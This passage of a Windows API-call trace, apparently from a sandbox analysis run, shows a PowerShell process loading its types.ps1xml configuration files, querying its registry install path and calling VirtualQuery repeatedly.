CoTaskMemFree (pv=0x168a30) [0054.344] CoTaskMemAlloc (cb=0x104) returned 0x168a30 [0054.344] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x168a30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0054.344] CoTaskMemFree (pv=0x168a30) [0054.344] GetACP () returned 0x4e4 [0054.350] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x22cfc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0054.351] SetErrorMode (uMode=0x1) returned 0x1 [0054.351] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x33c [0054.351] GetFileType (hFile=0x33c) returned 0x1 [0054.351] SetErrorMode (uMode=0x1) returned 0x1 [0054.351] GetFileType (hFile=0x33c) returned 0x1 [0054.353] ReadFile (in: hFile=0x33c, lpBuffer=0x2d2d748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2d2d748*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.354] ReadFile (in: hFile=0x33c, lpBuffer=0x2d2d748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2d2d748*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.355] ReadFile (in: hFile=0x33c, lpBuffer=0x2d2d748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2d2d748*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.355] ReadFile (in: hFile=0x33c, lpBuffer=0x2d2d748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2d2d748*, lpNumberOfBytesRead=0x22d548*=0xcf3, lpOverlapped=0x0) returned 1 [0054.355] ReadFile (in: hFile=0x33c, lpBuffer=0x2d2cba3, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2d2cba3*, lpNumberOfBytesRead=0x22d548*=0x0, lpOverlapped=0x0) returned 1 [0054.355] ReadFile (in: hFile=0x33c, lpBuffer=0x2d2d748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2d2d748*, lpNumberOfBytesRead=0x22d548*=0x0, lpOverlapped=0x0) returned 1 [0054.358] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x22d260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0054.358] SetErrorMode (uMode=0x1) returned 0x1 [0054.358] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d4c0 | out: lpFileInformation=0x22d4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0054.359] SetErrorMode (uMode=0x1) returned 0x1 [0054.360] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x22d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0054.360] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d5a8 | out: phkResult=0x22d5a8*=0x33c) returned 0x0 [0054.360] RegQueryValueExW (in: hKey=0x33c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d52c, lpData=0x0, lpcbData=0x22d528*=0x0 | out: lpType=0x22d52c*=0x1, lpData=0x0, lpcbData=0x22d528*=0x56) returned 0x0 [0054.360] CoTaskMemAlloc (cb=0x5a) returned 0x18d9a0 [0054.360] RegQueryValueExW (in: hKey=0x33c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d4fc, lpData=0x18d9a0, lpcbData=0x22d4f8*=0x56 | out: lpType=0x22d4fc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22d4f8*=0x56) returned 0x0 [0054.360] CoTaskMemFree (pv=0x18d9a0) [0054.360] RegCloseKey (hKey=0x33c) returned 0x0 [0054.360] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x22d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0054.360] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x22d0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0054.410] GetSystemInfo (in: lpSystemInfo=0x22c1e0 | out: lpSystemInfo=0x22c1e0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0054.410] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.420] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x22cfc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0054.420] SetErrorMode (uMode=0x1) returned 0x1 [0054.420] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x33c [0054.420] GetFileType (hFile=0x33c) returned 0x1 [0054.420] SetErrorMode (uMode=0x1) returned 0x1 [0054.420] GetFileType (hFile=0x33c) returned 0x1 [0054.434] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.434] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.435] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.435] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.435] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.435] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.435] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.436] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.436] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.437] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.437] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.437] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.438] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.438] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.438] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.438] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.439] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.441] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.441] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.441] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.441] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.442] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.442] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.442] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.443] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.443] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.443] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.443] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.444] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.444] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.445] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.445] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.445] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.448] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.449] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.449] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.449] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.449] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.450] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.450] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.450] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1000, lpOverlapped=0x0) returned 1 [0054.450] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x1b4, lpOverlapped=0x0) returned 1 [0054.451] ReadFile (in: hFile=0x33c, lpBuffer=0x2bf52a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22d548, lpOverlapped=0x0 | out: lpBuffer=0x2bf52a8*, lpNumberOfBytesRead=0x22d548*=0x0, lpOverlapped=0x0) returned 1 [0054.451] CloseHandle (hObject=0x33c) returned 1 [0054.451] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x22d260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0054.451] SetErrorMode (uMode=0x1) returned 0x1 [0054.451] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22d4c0 | out: lpFileInformation=0x22d4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0054.451] SetErrorMode (uMode=0x1) returned 0x1 [0054.451] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x22d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0054.451] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d5a8 | out: phkResult=0x22d5a8*=0x33c) returned 0x0 [0054.452] RegQueryValueExW (in: hKey=0x33c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d52c, lpData=0x0, lpcbData=0x22d528*=0x0 | out: lpType=0x22d52c*=0x1, lpData=0x0, lpcbData=0x22d528*=0x56) returned 0x0 [0054.452] CoTaskMemAlloc (cb=0x5a) returned 0xeb450 [0054.452] RegQueryValueExW (in: hKey=0x33c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x22d4fc, lpData=0xeb450, lpcbData=0x22d4f8*=0x56 | out: lpType=0x22d4fc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x22d4f8*=0x56) returned 0x0 [0054.452] CoTaskMemFree (pv=0xeb450) [0054.452] RegCloseKey (hKey=0x33c) returned 0x0 [0054.452] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x22d1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0054.452] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x22d0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0054.605] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.609] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.610] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.610] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.610] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.611] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.611] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.613] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.621] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.621] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.621] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.621] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.621] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.622] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.622] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.622] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0054.627] VirtualQuery (in: lpAddress=0x22c290, lpBuffer=0x22d150, dwLength=0x30 | out: lpBuffer=0x22d150*(BaseAddress=0x22c000, AllocationBase=0x1b0000, AllocationProtect=0x4, 